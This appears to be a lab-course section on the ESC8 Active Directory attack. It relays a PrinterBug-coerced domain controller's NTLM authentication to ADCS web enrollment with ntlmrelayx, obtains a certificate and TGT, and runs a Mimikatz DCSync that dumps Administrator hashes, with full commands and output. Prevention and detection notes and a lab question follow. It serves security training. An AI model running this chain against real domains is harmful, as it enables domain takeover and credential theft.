Following up on the PKI-related attack scenario from the previous section, another attack we can abuse is relaying to ADCS to obtain a certificate, a technique known as ESC8.
Previously, we used PrinterBug and Coercer to make (or force) computers to connect to any other computer. In this scenario, we will utilize the PrinterBug, and with the received reverse connection, we will relay to ADCS to obtain a certificate for the machine we coerced.
Attack
We begin by configuring NTLMRelayx to forward incoming connections to the HTTP endpoint of our Certificate Authority. As part of this configuration, we will specify that we want to obtain a certificate for the Domain Controller (a default template in AD, which Domain Controllers use for client authentication). The --adcs switch makes NTLMRelayx parse and displays the certificate if one is received:
Fares22110@htb[/htb]$impacket-ntlmrelayx-thttp://172.16.18.15/certsrv/default.asp--templateDomainController-smb2support--adcsImpacketv0.10.0-Copyright2022SecureAuthCorporation[*] Protocol Client SMTP loaded..[*] Protocol Client LDAPS loaded..[*] Protocol Client LDAP loaded..[*] Protocol Client DCSYNC loaded..[*] Protocol Client IMAPS loaded..[*] Protocol Client IMAP loaded..[*] Protocol Client RPC loaded..[*] Protocol Client HTTP loaded..[*] Protocol Client HTTPS loaded..[*] Protocol Client MSSQL loaded..[*] Protocol Client SMB loaded..[*] Running in relay mode to single host[*] Setting up SMB Server[*] Setting up HTTP Server on port 80[*] Setting up WCF Server[*] Setting up RAW Server on port 6666[*] Servers started, waiting for connections
Now we need to get the Domain Controller to connect to us. We’ll use the Print Spooler bug and force a reverse connection to us (as we previously did in a previous lab). In this case, we are forcing DC2 to connect to the Kali machine while we have NTLMRelayx listening in another terminal:
Fares22110@htb[/htb]$python3./dementor.py172.16.18.20172.16.18.4-ubob-deagle.local-pSlavi123[*] connecting to 172.16.18.4[*] bound to spoolss[*] getting context handle...[*] sending RFFPCNEX...[-] exception RPRN SessionError: code: 0x6ab - RPC_S_INVALID_NET_ADDR - The network address is invalid.[*] done!
If we switch back to terminal of NTLMRelayx, we will see that an incoming request from DC2$ was relayed and a certificate was successfully obtained:
[*] SMBD-Thread-5 (process_request_thread): Received connection from 172.16.18.4, attacking target http://172.16.18.15[*] HTTP server returned error code 200, treating as a successful login[*] Authenticating against http://172.16.18.15 as EAGLE/DC2$ SUCCEED[*] SMBD-Thread-7 (process_request_thread): Connection from 172.16.18.4 controlled, but there are no more targets left![*] SMBD-Thread-8 (process_request_thread): Connection from 172.16.18.4 controlled, but there are no more targets left![*] GeneratingCSR...[*] CSR generated![*] Gettingcertificate...[*] GOT CERTIFICATE!ID48[*] Base64 certificate of user DC2$: MIIRbQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMIIREDCCB0cGCSqGSIb3DQEHBqCCBzgwggc0AgEAMIIHLQYJKoZIhvcNAQcBMBwGCiqGSIb3DQEMAQMwDgQIKetNs6FxjOQCAggAgIIHANV1B7.........awlkK4goAPpDmzA9MDEwDQYJYIZIAWUDBAIBBQAEIFRQPz8lJcfLnaSLiZE6XHwdBfhN0CvXA6VfHQyHXUjRBAjoidjhENa0Kg==
We will copy the obtained base64-encoded certificate, switch to the Windows machine, and use Rubeus to the certificate to authenticate with (this time, the certificate is in the proper format) and obtain a TGT:
We have now obtained a TGT for the Domain Controller DC2. Therefore we become DC2. Being a Domain Controller, we can now trigger DCSync with Mimikatz:
.\mimikatz_trunk\x64\mimikatz.exe"lsadump::dcsync /user:Administrator"exit .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )## \ / ## > https://blog.gentilkiwi.com/mimikatz'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )'#####'> https://pingcastle.com/ https://mysmartlogon.com***/mimikatz(commandline) # lsadump::dcsync /user:Administrator[DC] 'eagle.local' will be the domain[DC] 'DC1.eagle.local' will be the DC server[DC] 'Administrator' will be the user account[rpc] Service : ldap[rpc] AuthnSvc : GSS_NEGOTIATE (9)Object RDN : Administrator** SAM ACCOUNT **SAM Username : AdministratorAccount Type : 30000000 ( USER_OBJECT )User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )Account expiration : 01/01/160101.00.00Password last change : 07/08/202220.24.13Object Security ID : S-1-5-21-1518138621-4282902758-752445584-500Object Relative ID : 500Credentials: Hash NTLM: fcdc65703dd2b0bd789977f1f3eeaecfSupplemental Credentials:* Primary:NTLM-Strong-NTOWF * Random Value : 6fd69313922373216cdbbfa823bd268d* Primary:Kerberos-Newer-Keys *Default Salt : WIN-FM93RI8QOKQAdministratorDefault Iterations : 4096 Credentials aes256_hmac (4096) : 1c4197df604e4da0ac46164b30e431405d23128fb37514595555cca76583cfd3 aes128_hmac (4096) : 4667ae9266d48c01956ab9c869e4370f des_cbc_md5 (4096) : d9b53b1f6d7c45a8* Packages * NTLM-Strong-NTOWF* Primary:Kerberos *Default Salt : WIN-FM93RI8QOKQAdministrator Credentials des_cbc_md5 : d9b53b1f6d7c45a8mimikatz(commandline) # exitBye!
Prevention
The above attack was possible because:
We managed to coerce DC2 successfully
ADCS web enrollment does not enforce HTTPS (otherwise, relaying would fail, and we won't request a certificate)
Because there are many different PKI-related escalation techniques, it is highly advised to regularly scan the environment with Certify or other similar tools to find potential issues.
Detection
This attack provides multiple techniques for detection. If we start from the part where a certificate is requested by NTLMRelayx, we will see that the CA has flagged both the request and the issuer of the certificate in events ID 4886 and 4887, respectively:
What stands out is that the template name is mentioned as part of the request; however, it isn't if requested by the Domain Controller itself (not relaying). There may be some exceptions to this in an environment; thus, it is best to check if it could be used as an indicator of flagging, coercing/relaying attacks to ADCS.
Subsequently, in the attack, we utilized the obtained certificate to get a Kerberos TGT, which resulted in the event ID
4768:
It stands out that XX is attempting to log in with a certificate, and the IP address is not the DC's.
Finally, when we used Mimikatz to perform DCSync, we will see the event ID 4624 that indicates XX authenticated successfully from another IP address and not it is own:
Q & A
1) Replicate the attack described in this section and view the related 4886 and 4887 logs. Enter the name shown in the Requester field as your answer. (Format: EAGLE....)
